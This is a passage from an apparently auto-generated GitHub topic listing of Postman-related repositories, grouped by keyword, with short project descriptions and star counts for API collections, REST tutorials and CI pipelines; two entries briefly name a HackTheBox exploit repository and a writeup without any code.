convert, converting, form, format, graph, graphql 		Plugin for converting GraphQL to the Postman Collection (v2) format 0 stars 0 watchers 0 forks
RedaZenagui/golangProject
endpoint, exposes, golang, graph, graphql, lang, server, service, struct 		Creating a server that exposes a graphql endpoint that returns a struct taken from gRPC service when queried via something like postman. 0 stars 0 watchers 0 forks
RedaZenagui/golangTest
curl, endpoint, exposes, golang, graph, graphql, lang, server 		Creating a server that exposes a graphql endpoint that returns "This is the answer about the Query !" when queried via something like curl or postman. 0 stars 0 watchers 0 forks

official (12 listings) (Back to Top)

alexandreelise/j4x-api-collection
attempt, beta, collection, developer, developers, joomla, official, postman collection, unofficial 		An attempt to help the Joomla! 4 early adopters mainly focused for developers. It's an unofficial postman collection of the official joomla4 beta API 3 stars 3 watchers 1 forks
aubm/postmanerator-themes
list, official, theme 		The official list of themes for postmanerator 0 stars 0 watchers 4 forks
empeje/midtrans-iris-collections
collection, collections, fork, free, iris, maintained, official 		[Unofficial] Postman Collections for Midtrans' Iris Disbursement Service | Not maintained anymore, feel free to fork! 1 stars 1 watchers 1 forks
jenius-apps/Postman.NET
apps, collection, implementation, official, schema, unofficial 		An unofficial .NET implementation of the Postman collection schema 1 stars 1 watchers 1 forks
box/box-postman
official 		The official Box Postman Collection 1 stars 1 watchers 0 forks
showcheap/postman-appimage
appimage, form, format, image, official 		Postman AppImage format (Unofficial) 0 stars 0 watchers 2 forks
kt-git/docker-newman-awscli
awscli, container, docker, included, newman, official, postman newman, test 		A docker container based upon the latest official postman newman, with the awscli included as well. 0 stars 0 watchers 1 forks
hma28official/To-Do-List-RESTful-API-using-Lumen
official, test, testing 		To Do List RESTful API using Lumen and Postman for testing the API 0 stars 0 watchers 0 forks
dawitnida/nodeaob-postman
collection, node, official 		Postman collection for Nordea Open Bank API. (Unofficial) 0 stars 0 watchers 0 forks
gmendozah/Cool-API-Simulation
backend, official, simulate 		This project helps simulate an API without a backend just run and enjoy! Link to official repo: 0 stars 0 watchers 0 forks
rcojoe/shipengine-postman
collection, engine, official 		The official Postman collection for ShipEngine™ 0 stars 0 watchers 0 forks
sharmacloud/Postman
cloud, future, image, images, official, python, scheduling, system, unofficial, user, video 		A scheduling system written in python around the unofficial instagram_api to post images and videos to a user's instagram any time into the future. 0 stars 0 watchers 0 forks

visual (12 listings) (Back to Top)

tony709394/postchildren-web
postwoman, test, tool, visual, visualization 		👨‍👦‍👦 A E2E test visualization tool (get along with postman and postwoman) 27 stars 27 watchers 0 forks
tony709394/postchildren-desktop
desktop, postwoman, test, tool, visual, visualization 		👨‍👦‍👦 A E2E test visualization tool (get along with postman and postwoman) 15 stars 15 watchers 0 forks
brooksandrew/postman_problems_examples
example, examples, problem, route, stat, visual, visualization 		Optimal route to ride every state avenue in DC: RPP optimization with OSM visualization 1 stars 1 watchers 1 forks
api-evangelist-visualizations/postman-tag-cloud
cloud, list, tool, visual, visualization 		This is a Postman visualizer tool. 1 stars 1 watchers 0 forks
chuckpaquette/SMGR-REST-SIP-Entities
data, entity, returned, struct, structure, visual, visualization 		Postman code for visualization of the data structure returned by SMGR SIP entity REST request 0 stars 0 watchers 0 forks
disposedtrolley/deliveryboy
visual 		An API visualiser for fun. Name inspired by Postman. 0 stars 0 watchers 0 forks
isabelleyzhou/postman_visualizer_templates
berkeley, collection, supplement, template, templates, visual 		supplement for the berkeley-codebase collection of postman visualizer templates 0 stars 0 watchers 0 forks
jeanalgoritimo/parcelamento
data, form, format, host, http, local, studio, visual 		Teste de Avaliação do Jean Silva para a empresa Ctis.Caminho da aplicação do Postman http://localhost:port/api/cadastro/CadastrarDados Padrao do dados a ser enviados { "numeroParcelas": 10, "Datas": "01/01/2018", "valorTotalCredito":10000.00 } O Valor totoal de crédito desse nesse formato acima com ponto antes das duas casas decimais e se o valor for acima de mil reais não colocar pontos.A data deve ser no formato dd//mm/yyyy e número de parcela de forma em inteiro.Programa foi construído no visual studio 2017 0 stars 0 watchers 0 forks
komerela/psychology
grafana, monitor, test, testing, traffic, util, visual 		This is a healthcare repo for a Django app and created using a REST API with the Django Rest Framework. Prometheus will be utilized to monitor traffic and grafana will be used to visualize the traffic. Integration will utilize CicleCI. We will use Postman for API testing. 0 stars 0 watchers 0 forks
LennartCockx/postman-generic-json-visualize
beta, display, generic, json, play, script, util, utilizes, visual, visualization 		A script which utilizes the (beta) visualization option from postman to display any json response in a more visual manner 0 stars 0 watchers 0 forks
Oreramirez/TrabajoUnidad01-BDII
concept, endpoint, endpoints, public, studio, todo, unit, util, utilizando, visual 		TRABAJO FINAL DE UNIDAD Desarrollar una aplicación cualquiera utilizando la tecnica Mapeo Objeto Relacional (OR/M), se deben incluir al menos 05 pruebas unitarias y 05 endpoints de APIs con su correspondiente prueba con Postman Formato: Latex publicado en Github 1. PROBLEMA (Breve descripción) 2. MARCO TEORICO (referencias de conceptos de libros) 3. DESARROLLO 3.1 ANALISIS (Casos de Uso) 3.2 DISEÑO (Diagrama de Clases, Modelo Entidad Relación) 3.3 PRUEBAS (Pruebas unitarias de métodos de clases utilizados) Nota; este trabajo debe estar alineado con el proyecto en el visual studio cargado en el GIT HUB Adicionar a esto también la ruta del proyecto en Git Hub 0 stars 0 watchers 0 forks
TheChago/ForaneoFeliz
angular, mongo, mongod, visual 		Proyecto de angular usando mongod, robo3t para visualización y postman 0 stars 0 watchers 0 forks

machine (12 listings) (Back to Top)

prashanth-sams/machine-setup
machine, setup 		Reliable Developer OSX Machine setup for QA 2 stars 2 watchers 1 forks
SAP-samples/data-attribute-recommendation-postman-tutorial-sample
client, data, dataset, example, learn, learning, machine, sample, samples, service, tutorial 		Sample code and dataset example for anyone who wants to try out the data attribute recommendation machine learning service using a REST client. 1 stars 1 watchers 1 forks
SAP-samples/service-ticket-intelligence-postman-collection-sample
collection, consume, enable, enables, environment, learn, learning, machine, sample, samples, service, template, ticket, user, users 		A Postman collection and environment template that enables users to consume the Service Ticket Intelligence machine learning service. 0 stars 0 watchers 3 forks
timemachine3030/jenkman
machine, node, server, servers, test, testing 		Jenkins CI testing of node API servers with Postman/Newman 1 stars 1 watchers 0 forks
m3dsec/redis_exploit
exploit, initial, machine, redis 		Exploit i used to get the initial shell on POSTMAN machine from HTB 0 stars 0 watchers 1 forks
aking27/FitnessTracker
account, application, data, exercise, form, format, framework, goal, goals, information, machine, mobile, nutritional, order, progress, server, track, tracker, user, users 		I used React Native to create a fitness tracker mobile application for iOS and Android. In order to update and maintain server data, I used a combination of the RESTful API and Postman. Additionally, the Expo framework and Node.js were used to build the application on my machine. This app allows users to sign into their account to log exercise/nutritional information, create fitness goals, and view their progress. 0 stars 0 watchers 0 forks
alibergstedt/vending-machine
machine, vend 		A brower-based virtual vending machine using REST API, JQuery, Postman, JSON. 0 stars 0 watchers 0 forks
hwu39/Simple-REST-APIs
action, fundamentals, including, local, machine, test, tested 		This is a simple test to view the fundamentals of RESTful APIs in interaction with MongoDB. The RESTful APIs (including GET, POST, PUT, PATCH, DELETE) can be tested through Postman on a local machine. 0 stars 0 watchers 0 forks
itanvir/mlapi
learn, learning, machine 		A machine learning API using Flask and Postman 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
sayak119/fashion-mnist-flask
flask, learn, learning, machine, model, models 		PoC to serve machine learning models using flask 0 stars 0 watchers 0 forks
YeezyTaughtMe1/HTB-Postman
machine 		My writeup for Postman, the HackTheBox machine! 0 stars 0 watchers 0 forks

functions (11 listings) (Back to Top)

0xHiteshPatel/f5-postman-workflows
common, complex, extension, function, functions, intended, workflow 		This extension is intended to be used with Postman. The purpose of this extension is to implement common functions that simplify building Collections that implement complex workflows 0 stars 0 watchers 3 forks
guvkon/postman_helper
function, functions, helper, test 		Tool which adds some helpful functions to test JSON responses in Postman/Newman. 1 stars 1 watchers 0 forks
tarunlalwani/postman-utils
function, functions, util, utilities, utils 		Postman utilities functions 0 stars 0 watchers 2 forks
ddemott/spring-restful-web-services-crud-example
crud, example, function, functions, html, index, java, projects, rest, restful, service, services, spring, test, tested, to do 		DESCRIPTION: This project represents a base Spring 4 legacy project for Spring MVC / REST services. The REST services are handled / tested by index.html. This is done so you can see an example of how to call all of the CRUD functions from a web page. Most projects do not make the calls from a web page but from POSTMAN or even from a test function which does you no good if you are trying to figure out how to do call from a webpage. Dependencies ------------ Maven 3.1 Java 8 Spring 4 Spring MVC 4 Jackson Databind javax.servlet-api 3.1 0 stars 0 watchers 1 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
Bikachu/MongoDB-REST-API-design
desgin, design, function, functions, test 		This project use MongoDB and REST api to desgin a simple API to implement GET, POST, PUT and DELETE functions, use POSTMAN to test the functions 0 stars 0 watchers 0 forks
castrosoft/GameOfTheYear
function, functions, rest, store 		Nodejs - Visual Studio Code - Chrome - AngularCLI - Postman - Firestore - Firebase functions - Deployment 0 stars 0 watchers 0 forks
jinfanx/fx-dev-tools
client, function, functions, http, tool, tools 		simple http client, like postman, but only main functions 0 stars 0 watchers 0 forks
kogden/serverless-mongo-database
data, database, function, functions, lambda, mongo, monitor, movie, server, serverless, trigger 		Uses AWS lambda trigger to POST/GET from mongoDB movie database. Uses Dashbird.io to monitor. Postman to call functions. 0 stars 0 watchers 0 forks
namjohn920/CRUD_NodeJs_MySQL
application, check, function, functions 		Simple practice for CRUD application using NodeJs and MySQL. You can use Postman to check functions. 0 stars 0 watchers 0 forks
sweb1433/serverless-api-monk
function, functions, lambda, node, nodejs, server, serverless 		CRUD api using nodejs, serverless, lambda functions and postman and monk. 0 stars 0 watchers 0 forks

generated (11 listings) (Back to Top)

kielabokkie/blueman
collection, file, generate, generated, print 		Convert a generated API Blueprint JSON file into a Postman collection 143 stars 143 watchers 18 forks
jarroda/ServiceStack.Api.Postman
collection, collections, generate, generated, plugin 		A ServiceStack plugin providing auto-generated Postman collections 0 stars 0 watchers 4 forks
rminds/postman-docs
docs, generate, generated, template 		Documentation template generated from Postman 1 stars 1 watchers 2 forks
donalfenwick/Swashbuckle.SwaggerToPostman
collection, generate, generated, library, middleware, postman collection, schema, swagger 		AspNetCore middleware which uses the Swashbuckle.AspNetCore library produce a postman collection (v2.1) from the swagger schema generated by swashbuckle. 1 stars 1 watchers 0 forks
Odusanya18/postman-to-slate-examples
docs, example, examples, generate, generated, generator, holds, java, slate 		This holds example docs generated by the postman to slate generator written in java 1 stars 1 watchers 0 forks
thneeb/swagger2postman
collection, file, generate, generated, json, node, nodejs, postman collection, spec, swagger, swagger2, test, testing, tool 		This little nodejs tool gets a swagger.json on the one hand and generated a postman collection file for testing the specified api on the other hand. 0 stars 0 watchers 0 forks
andreprawira/Simple-REST-API-using-Spring-Boot-Hibernate-and-MySQL-Database
application, data, database, employee, employees, forge, generate, generated, list, method, properties, resource, resources, single, source, spec 		It's a very simple REST API for employee management using Spring Boot, Hibernate, and MySQL. Test it with Postman: Use GET method to list all of the employees or a single employee specified by ID Use POST method to save an employee (ID auto generated) or use a PUT method to update if employee ID already exist (specify the employee ID in the url to update) Use DELETE method to delete an employee (specify the employee ID in the url to delete) Dont forget to change the application.properties to connect the database with the app (located in src/main/resources/application.properties) 0 stars 0 watchers 0 forks
ckailash/myob-php-oauth2
api blueprint, asyncapi, auth, collection, generate, generated, json schema, myob, oauth, oauth2, openid, postman collection, sql 		Myob PHP SDK for oAuth 2 generated from Myob API OpenAPI Spec 3.0 generated from the postman collection 0 stars 0 watchers 0 forks
hnalabanda/HN82twy
generate, generated 		This was generated by Postman 0 stars 0 watchers 0 forks
mahiakshay/Hello-World
generate, generated 		This is your first repository generated via POSTMAN GitHub API 0 stars 0 watchers 0 forks
potherca-abandoned/PostmanParser
document, documentation, generate, generated, longer, maintained, object, struct, structure 		⚠️ This project in no longer maintained. ⚠️ -- Parse POSTman Collection JSON into an object structure so documentation can be generated from it. 0 stars 0 watchers 0 forks

messaging (11 listings) (Back to Top)

jonatassales/postman-ui
email, mail, messaging, service 		UI for a email and messaging service 1 stars 1 watchers 0 forks
leungant/django-useraccounts-messaging-starter
account, accounts, auth, django, followed, message, messages, messaging, notification, starter, user 		Project with Login with all auth, followed by messages and notification with postman and django-notifications-hq, can be used a starter app 1 stars 1 watchers 0 forks
sharkattack51/postman
messaging, server, websocket 		easy pub/sub messaging server using websocket. 1 stars 1 watchers 0 forks
wannaup/postman-go
lang, mail, messaging, microservice, preferred, relay, service, threaded, version 		The Golang version of our preferred postman mail to threaded messaging relay microservice in Go. 1 stars 1 watchers 0 forks
lueo/pinax_postman_demo
messaging, pinax, site 		Pinax with User-to-User messaging (provided by Django-postman) - Demo site 0 stars 0 watchers 1 forks
guusbeckett/cm-business-messaging-api-postman-collection
business, collection, description, messaging, script 		No description available. 0 stars 0 watchers 0 forks
aboelkassem/ChattingApp
angular, api blueprint, asyncapi, json schema, messaging, oauth, openid, sql, system 		real world messaging system build using asp.net core 3.1 api & angular 9 & sqllite 0 stars 0 watchers 0 forks
kumar-kunal/Postman
android, messaging 		A simple messaging android app 0 stars 0 watchers 0 forks
peteclarkez/redis-pubsubtest
config, experiment, messaging, pubsub, redis, test 		Sample project to experiment on some redis messaging config 0 stars 0 watchers 0 forks
wannaup/postman
mail, messaging, microservice, service, threaded 		A mail to threaded messaging microservice in Go and SCALA 0 stars 0 watchers 0 forks
wechange-eg/cosinnus-message
deprecated, django, implementation, integration, message, messaging, package, solution 		A direct messenging implementation for the WECHANGE suite. Based on django-postman. This package is being deprecated in favor of a direct-messaging solution using RocketChat integration. 0 stars 0 watchers 0 forks

agent (11 listings) (Back to Top)

bitExpert/magento2-postman
agent, collection, magento 		Postman collection for Magento 2 1 stars 1 watchers 0 forks
or9/roadside-romeo
agent 		Express demo app using Superagent, Mocha, Newman and Postman 1 stars 1 watchers 0 forks
nuzil/magento-postman
agent, collection, collections, magento, storage 		This Repo is a storage of Postman collections for Magento 0 stars 0 watchers 2 forks
reportportal/agent-postman
agent, report, reporting, runner 		Agent for Postman reporting (based on NewMan runner) 0 stars 0 watchers 2 forks
timrsfo/postman-magento
agent, collection, collections, docker, dockerized, environment, environments, implements, magento 		dockerized-magento 1.9x implements OAuth 1.0a REST Api. Postman environments, collections 0 stars 0 watchers 1 forks
deepkamal/magento-automations
access, agent, automat, automation, collection, magento, postman collection, script 		script and postman collection for Magento access 0 stars 0 watchers 0 forks
KiiPlatform/gateway-agent-postman
agent, content, contents, form, gateway, local, test, testing 		postman contents for gateway-agent local REST api testing 0 stars 0 watchers 0 forks
Ayorinde-Codes/RequestLogger
agent, browser, data, database, execution, logs, package 		A Laravel package that logs requests ip, agent(browser or postman), payload request, payload response, Time of execution and url in the database within any request call 0 stars 0 watchers 0 forks
fac/postman-freeagent-api-collection
agent, collection, free, freeagent 		A Postman Collection for the FreeAgent API 0 stars 0 watchers 0 forks
magenta-aps/datafordeler-postman
agent, data, test 		Postman test-suite af datafordeler funktionalitet. 0 stars 0 watchers 0 forks
pmcdowell-okta/okta-opp-postman-collection
agent, collection, postman collection, simulate, simulates 		A postman collection which simulates an Okta On Premise Provisioning agent request 0 stars 0 watchers 0 forks

pipeline (11 listings) (Back to Top)

aws-samples/aws-codepipeline-codebuild-with-postman
codepipe, codepipeline, pipeline, sample, samples, test, testing 		Automating your API testing with AWS CodeBuild, AWS CodePipeline, and Postman 0 stars 0 watchers 6 forks
DannyDainton/postman-ci-pipeline-example
example, pipeline, running, system, systems 		An example of running Postman Collections with Newman via different CI systems. 0 stars 0 watchers 4 forks
anandjat05/admin-service-api
admin, coverage, image, instance, instances, pipeline, service, services, stat, test, testing, unit, vulnerability 		Project based on Micro-services, I created REST API's, wrote Junit, testing the coverage, bug smell, vulnerability analysis on Sonarqube and static test analysis using Jococo, Jenkins, Postman and Newman deploy through the CI/CD pipeline in ECS cluster using EC2 instances, Dockerhub, Docker Container/image. 1 stars 1 watchers 1 forks
arthuroz/azurepipeline
automat, automate, azure, collection, creation, pipeline, postman collection, release 		A postman collection that automate the creation of a repository, build pipeline and release pipeline 1 stars 1 watchers 1 forks
mhariachyi-clgx/newman-allure-jenkins
config, configuration, jenkins, newman, pipeline, report, reporter, test, tests 		Jenkins pipeline configuration to run Postman tests with Allure reporter 1 stars 1 watchers 0 forks
demoPostman/DotnetIasi.DemoPostman
group, lines, necessary, pipeline, pipelines, presentation, resource, resources, source 		This repo contains all the necessary resources from the DotNet Iasi group presentation about PostmanTests in CI\CD pipelines 0 stars 0 watchers 1 forks
maciejmaciejewski/azure-pipelines-postman
azure, description, lines, pipeline, pipelines, script 		No description available. 0 stars 0 watchers 0 forks
Slon-ua/postman-newman-jenkins-pipeline
description, jenkins, newman, pipeline, script 		No description available. 0 stars 0 watchers 0 forks
Apollo013/AspNet_WebApi2_MultiPipeLine
access, config, configure, controller, demonstrate, lines, multiple, pipeline, piplines, spec, test 		A small ASP.NET that demonstrates how to configure a WEB API project to have multiple piplines and specify which controllers are accessible for each pipeline. Requires Fiddler or POSTMAN to test. 0 stars 0 watchers 0 forks
qijia00/Postman_JavaScript_npm_ChaiAssertionLibrary
execution, form, format, information, integration, move, moved, package, pipeline, script, scripts 		Sample Postman scripts I created in JavaScript with Chai Assertion Library. The scripts are also packaged by npm for easy execution and integration to CI/CD pipeline with Jenkins. Authentication information has been removed for privacy reasons. 0 stars 0 watchers 0 forks
rob212/newman_project
experiment, newman, pipeline 		Postman Newman pipeline experiment 0 stars 0 watchers 0 forks

middleware (11 listings) (Back to Top)

Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
donalfenwick/Swashbuckle.SwaggerToPostman
collection, generate, generated, library, middleware, postman collection, schema, swagger 		AspNetCore middleware which uses the Swashbuckle.AspNetCore library produce a postman collection (v2.1) from the swagger schema generated by swashbuckle. 1 stars 1 watchers 0 forks
Aizaz299/Get-and-post
course, json, middleware, understanding 		Simple code for the understanding of the get and post requests. I used json middleware. I creating new course as well by using post request through postman. 0 stars 0 watchers 0 forks
aymkin/track-server
auth, authorization, cloud, course, error, express, handling, hashi, http, https, learn, middleware, native, react, redux, server, track, udemy 		Back-end for Front-enders, за два часа можно просмотреть как с минимум усилий: установить express написать 4 эндпоинта подключить к MongoDB cloud базовое использование Postman что такое схемы и модели (Mongoose) зачем нужен JWT (Json Web Token) + как его имплементировать в проект что значит натереть и присолить пароль (salting and hashing password) и почему это по проавославному как ограничить доступ к данным не авторизированным пользователям (middleware authorizationRequire) обработка потенциальных ошибок (error handling) уроки 165-186 https://www.udemy.com/course/the-complete-react-native-and-redux-course/learn/lecture/15707662 0 stars 0 watchers 0 forks
byekobe/redisproject
desktop, middleware, redis, tool, tools 		For beginners,this project based on SpringBoot,which redis cache middleware been deployed on linux and postman,redis desktop some tools also been used. 0 stars 0 watchers 0 forks
damasosanchezarenas/WebServer_go
client, connection, managed, middleware, server, server. 		Web server developed with Go. Creation of a REST API and various middleware where I managed to create a connection between client-server. Testing the web server with Postman. 0 stars 0 watchers 0 forks
hmake98/Nodejs-Rest_API
middleware, operation, operations 		Rest_API using Nodejs and Express middleware for CRUD operations. 0 stars 0 watchers 0 forks
layoutzweb/postman-collection-generator
backend, collection, express, generator, middleware, rest 		Generate a collection from your middleware based api backend (express, restify, koa...) 0 stars 0 watchers 0 forks
leandro-zeballos/NodeJs
data, middleware, party 		Express based middleware returning data from a third-party API 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście 